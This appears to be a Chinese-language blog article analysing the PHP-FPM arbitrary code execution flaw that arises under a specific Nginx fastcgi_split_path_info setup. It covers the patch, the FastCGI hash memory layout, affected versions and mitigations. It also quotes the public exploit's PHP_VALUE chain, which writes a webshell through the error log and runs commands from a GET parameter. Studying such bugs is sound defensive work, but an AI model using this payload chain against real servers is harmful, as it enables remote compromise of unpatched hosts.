溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析

發(fā)布時(shí)間:2021-11-30 11:24:27 來源:億速云 閱讀:149 作者:iii 欄目:軟件技術(shù)

本篇內(nèi)容主要講解“PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析”吧!

漏洞概述

PHP-FPM在Nginx特定配置下存在任意代碼執(zhí)行漏洞。具體為:
使用Nginx + PHP-FPM搭建的服務(wù)器在使用類似如下配置的nginx.conf時(shí):

1   location ~ [^/]\.php(/|$) {
2        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
3        fastcgi_param PATH_INFO       $fastcgi_path_info;
4        fastcgi_pass   php:9000;
5        ...

Nginx中fastcgi_split_path_info 在處理存在"\n"(%oA) 的path_info時(shí),會將傳遞給PHP-FPM的PATH_INFO置為空(PATH_INFO=""),影響關(guān)鍵指針的指向,導(dǎo)致后續(xù)path_info[0]=0的置零操作位置可控,通過構(gòu)造特定長度和內(nèi)容的請求,可以覆蓋寫特定位置數(shù)據(jù),插入特定環(huán)境變量,進(jìn)而導(dǎo)致代碼執(zhí)行。

漏洞分析

首先,分析其補(bǔ)丁:在進(jìn)行request_info結(jié)構(gòu)體初始化的static void init_request_info(void)函數(shù)中,增添對pilen 和slen的大小校驗(yàn),規(guī)避了指針的非預(yù)期回溯移動。

 1    // php-src/sapi/fpm/fpm/fpm_main.c
 2    ...
 3    if (pt) {
 4        while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
 5            // 對傳入PATH_INFO 進(jìn)行校驗(yàn)。通過判斷文件狀態(tài),獲取真實(shí)PATH_INFO
 6            *ptr = 0;
 7            f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
 8            int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH
 9            int slen = len - ptlen;  //script length
10            int pilen = env_path_info ? strlen(env_path_info) : 0;  //Path info 長度 0
11            int tflag = 0;
12            char *path_info;
13
14            if (apache_was_here) {
15                /* recall that PATH_INFO won't exist */
16                path_info = script_path_translated + ptlen;
17                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
18            } else {
19        -       path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 通過偏移設(shè)置新env_path_info,但是未對偏移量做校驗(yàn)
20        -       tflag = (orig_path_info != path_info);
21        +       path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
22        +       tflag = path_info && (orig_path_info != path_info);
23            }
24
25            if (tflag) {
26                if (orig_path_info) {
27                char old;
28
29                FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
30                old = path_info[0];
31                path_info[0] = 0; //置零操作
32                if (!orig_script_name ||
33                    strcmp(orig_script_name, env_path_info) != 0) {
34                    if (orig_script_name) {
35                        FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//觸發(fā)入口
36                    }
37                    SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
38                    } else {
39                    SG(request_info).request_uri = orig_script_name;
40                    }
41                    path_info[0] = old;
42                }
43        ...

其中

 1    //以http://localhost/info.php/test?a=b為例
 2    PATH_INFO=/test
 3    PATH_TRANSLATED=/docroot/info.php/test
 4    SCRIPT_NAME=/info.php
 5    REQUEST_URI=/info.php/test?a=b
 6    SCRIPT_FILENAME=/docroot/info.php
 7    QUERY_STRING=a=b
 8
 9    pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"
10    len = script_path_translated_len  // 為"/docroot/info.php/test"
11
12    // 經(jīng)過重新計(jì)算處理后
13    int ptlen = strlen(pt); // strlen("/docroot/info.php")
14    int pilen = env_path_info ? strlen(env_path_info) : 0;  // 即len(PATH_INFO) "/test"
15    int slen = len - ptlen;   // len("/test")
16
17    path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移為0 或 -N

可見,當(dāng)PATH_INFO為空時(shí),path_info 指向發(fā)生向前偏移,偏移長度為test的長度。進(jìn)而path_info[0] = 0;可以將特定位置 單字節(jié)置零。但是,普通位置的置零并不會造成RCE,進(jìn)一步利用需要將特定控制位置零,且該控制位恰巧能控制寫入位置。request->env->data->pos便是這樣一處位置。這里需要說明一下各變量的存儲方式。

通過fastcgi協(xié)議傳入的各環(huán)境變量會存儲到_fcgi_request->env 這個fcgi_hash結(jié)構(gòu)體中,供后續(xù)執(zhí)行取用,結(jié)構(gòu)具體定義如下:

 1    // php-src/sapi/fpm/fpm/fastcgi.c
 2    typedef struct _fcgi_hash_bucket {
 3        unsigned int              hash_value;
 4        unsigned int              var_len;
 5        char                     *var;
 6        unsigned int              val_len;
 7        char                     *val;
 8        struct _fcgi_hash_bucket *next;
 9        struct _fcgi_hash_bucket *list_next;
10    } fcgi_hash_bucket;
11
12    typedef struct _fcgi_hash_buckets {
13        unsigned int               idx;
14        struct _fcgi_hash_buckets *next;
15        struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
16    } fcgi_hash_buckets;
17
18    typedef struct _fcgi_data_seg {
19        char                  *pos;
20        char                  *end;
21        struct _fcgi_data_seg *next;
22        char                   data[1];
23    } fcgi_data_seg;
24
25    typedef struct _fcgi_hash {
26        fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
27        fcgi_hash_bucket  *list;
28        fcgi_hash_buckets *buckets;
29        fcgi_data_seg     *data;
30    } fcgi_hash;
31    ...
32    /* hash table */
33    //初始化操作
34    static void fcgi_hash_init(fcgi_hash *h)
35    {
36        memset(h->hash_table, 0, sizeof(h->hash_table));
37        h->list = NULL;
38        h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
39        h->buckets->idx = 0;
40        h->buckets->next = NULL;
41        h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默認(rèn)分配 (4*8 - 1) + 4096
42        h->data->pos = h->data->data; //指向環(huán)境變量初始寫入位置
43        h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾
44        h->data->next = NULL;
45    }
46    ...

其中我們主要關(guān)注其中的get/set操作,實(shí)現(xiàn)如下:

 1    static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
 2    // 關(guān)聯(lián) FCGI_GETENV()
 3    {
 4        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
 5        fcgi_hash_bucket *p = h->hash_table[idx];
 6
 7        while (p != NULL) {
 8        //需要hast_value值相同,var_len相同才能取出值
 9            if (p->hash_value == hash_value &&
10                p->var_len == var_len &&
11                memcmp(p->var, var, var_len) == 0) {
12                *val_len = p->val_len;
13                return p->val;
14            }
15            p = p->next;
16        }
17        return NULL;
18    }
19
20    static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
21    // 關(guān)聯(lián) FCGI_PUTENV()
22    {
23        unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;  // 計(jì)算hash_value確定 index
24        fcgi_hash_bucket *p = h->hash_table[idx];  //獲取原有hash_table中的對應(yīng)值
25
26        while (UNEXPECTED(p != NULL)) {
27            if (UNEXPECTED(p->hash_value == hash_value) &&
28                p->var_len == var_len &&
29                memcmp(p->var, var, var_len) == 0) {
30
31                p->val_len = val_len;
32                p->val = fcgi_hash_strndup(h, val, val_len);
33                return p->val;
34            }
35            p = p->next;
36        }
37
38        if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
39            fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
40            b->idx = 0;
41            b->next = h->buckets;
42            h->buckets = b;
43        }
44
45        p = h->buckets->data + h->buckets->idx;
46        h->buckets->idx++;
47        p->next = h->hash_table[idx];
48        h->hash_table[idx] = p;
49        p->list_next = h->list;
50        h->list = p;
51
52        p->hash_value = hash_value;
53        p->var_len = var_len;
54        p->var = fcgi_hash_strndup(h, var, var_len);
55        p->val_len = val_len;
56        p->val = fcgi_hash_strndup(h, val, val_len);
57        return p->val;
58    }
59
60    static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
61    // 實(shí)際操作request->env->data,進(jìn)行數(shù)據(jù)寫入。
62    {
63        char *ret;
64
65        if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
66        //如果準(zhǔn)備寫入的數(shù)據(jù)長度大于當(dāng)前指向的fcgi_hash_seg大小,則向前插入新的fcgi_hash_seg
67                unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//較長值,不跨越兩個seg進(jìn)行寫入。
68                fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
69                p->pos = p->data;
70                p->end = p->pos + seg_size;
71                p->next = h->data;
72                h->data = p;
73            }
74
75            ret = h->data->pos;
76            memcpy(ret, str, str_len); //于h->data->pos后寫入數(shù)據(jù)
77            ret[str_len] = 0;
78            h->data->pos += str_len + 1; //后移h->data->pos到新的可寫入位置
79            return ret;
80    }

由此,我們可以得出:request->env->data->pos的指向直接影響我們環(huán)境變量Key,Value的寫入位置,只要我們控制了char* pos的指向,就可能覆蓋已有的數(shù)據(jù)。但是,要想達(dá)成RCE還存在以下要求及限制:

  1. 指針前移受當(dāng)前fcgi_hash_seg空間結(jié)構(gòu)影響,過短無法將char* pos置零,過長會分配到新fcgi_hash_seg空間。(如傳遞"形如"http://127.0.0.1/Somefile_exits/AAAAA.php/"也可造成指針后移,)

  2. path_info[0] = 0 僅能將單字節(jié)置零,最好為最低位,否則會造成指針位置偏離過多。

  3. 鑒于條件 2 被覆蓋寫的地址最低位應(yīng)為0,且其后為符合條件的可覆蓋的環(huán)境變量。

  4. 被覆蓋位置環(huán)境變量的key必須與預(yù)期寫入的key滿足:var、hash_value和var_len均相同,才可能被讀取。

  5. 執(zhí)行FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);時(shí),分別寫入ORIG_SCRIPT_NAMEorig_script_name("ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA")。

相應(yīng)地,我們可以:

  1. 通過控制query_string的長度,使path_info恰好處于新fcgi_hash_seg的data首位,這時(shí)我們僅需移動8+8+8+len("PATH_INFO\0")+N = 34 + N即可完成對char* pos的篡改。滿足條件1,2的要求。

  2. 通過自定義http header,操縱request header的長度將預(yù)期覆蓋的環(huán)境變量放置到特定的位置(0x____00+len("ORIG_SCRIPT_NAME")+len("/index.php/"))。滿足條件3,5要求。(在NGINX中,HTTP中的請求頭會以"HTTP_XXX"的形式傳入PHP-FPM,隨后寫入到request-env中)

  3. Exp作者提供了EBUT這個自定義頭,其env變量名HTTP_EBUT 與PHP_VALUE在長度和hash_value方面相等,且PHP_VALUE會在后續(xù)處理中被嘗試讀取(ini = FCGI_GETENV(request, "PHP_VALUE");)。滿足條件4的要求。

PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析

除此之外,鑒于PATH_INFO重新取值部分邏輯主要是處理PATH_INFO與真實(shí)path_info不同的情況,對開頭提及的nginx配置項(xiàng),存在一種情況,發(fā)起形如http://localhost/index/info.php/test?a=b的url,可以構(gòu)造以下場景

 1    //以http://localhost/index/info.php/test?a=b為例,index為存在的文件
 2    PATH_INFO=/test
 3    PATH_TRANSLATED=/docroot/index/info.php/test
 4    SCRIPT_NAME=/index/info.php
 5    REQUEST_URI=/index/info.php/test?a=b
 6    SCRIPT_FILENAME=/docroot/index/info.php
 7    QUERY_STRING=a=b
 8
 9    pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"
10    len = script_path_translated_len  // 為"/docroot/index/info.php/test"
11
12    // 經(jīng)過重新計(jì)算處理后
13    int ptlen = strlen(pt); // strlen("/docroot/index")
14    int pilen = env_path_info ? strlen(env_path_info) : 0;  // 即len(PATH_INFO) "/test"
15    int slen = len - ptlen;   // len("/info.php/test ")
16
17    path_info = env_path_info + pilen - slen;  // pilen < slen, 即偏移為-N

此時(shí)URL中無需存在%0A,亦可完成指針移位,漏洞過程與上述類似,但是因?yàn)閟cript_name無效,無法直觀顯示攻擊狀態(tài),利用難度較高,不再贅述。

path_info指向了request->env->data->pos后的內(nèi)存布局

PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析

漏洞利用

Exp作者利用PHP_VALUE向PHP傳遞多個環(huán)境變量,使PHP產(chǎn)生錯誤,以錯誤日志的形式將webshell輸出到/tmp/a,并通過auto_prepend_file自動執(zhí)行/tmp/a中的惡意代碼,達(dá)成getshell。

 1    var chain = []string{
 2        "short_open_tag=1", //開啟php短標(biāo)簽
 3        "html_errors=0",   // 在錯誤信息中關(guān)閉HTML標(biāo)簽。
 4        "include_path=/tmp",  //包含路徑
 5        "auto_prepend_file=a",  //指定腳本執(zhí)行前自動包含的文件,功能類似require()。
 6        "log_errors=1",  //使能錯誤日志
 7        "error_reporting=2",   //指定錯誤級別
 8        "error_log=/tmp/a",  //錯誤日志記錄文件
 9        "extension_dir=\"<?=\`\"",   //指定extension的加載目錄
10        "extension=\"$_GET[a]\`?>\"", //指定加載的extension
11    }

影響范圍

在文初提到的配置下,該漏洞影響以下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11

漏洞修復(fù)

可以通過 Nginx 增添配置try_files %uri = 404php設(shè)置cgi.fix_pathinfo=0選項(xiàng),臨時(shí)規(guī)避漏洞影響。也可以選擇使用官方已經(jīng)釋出的更新進(jìn)行完全修復(fù)。

到此,相信大家對“PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析”有了更深的了解,不妨來實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI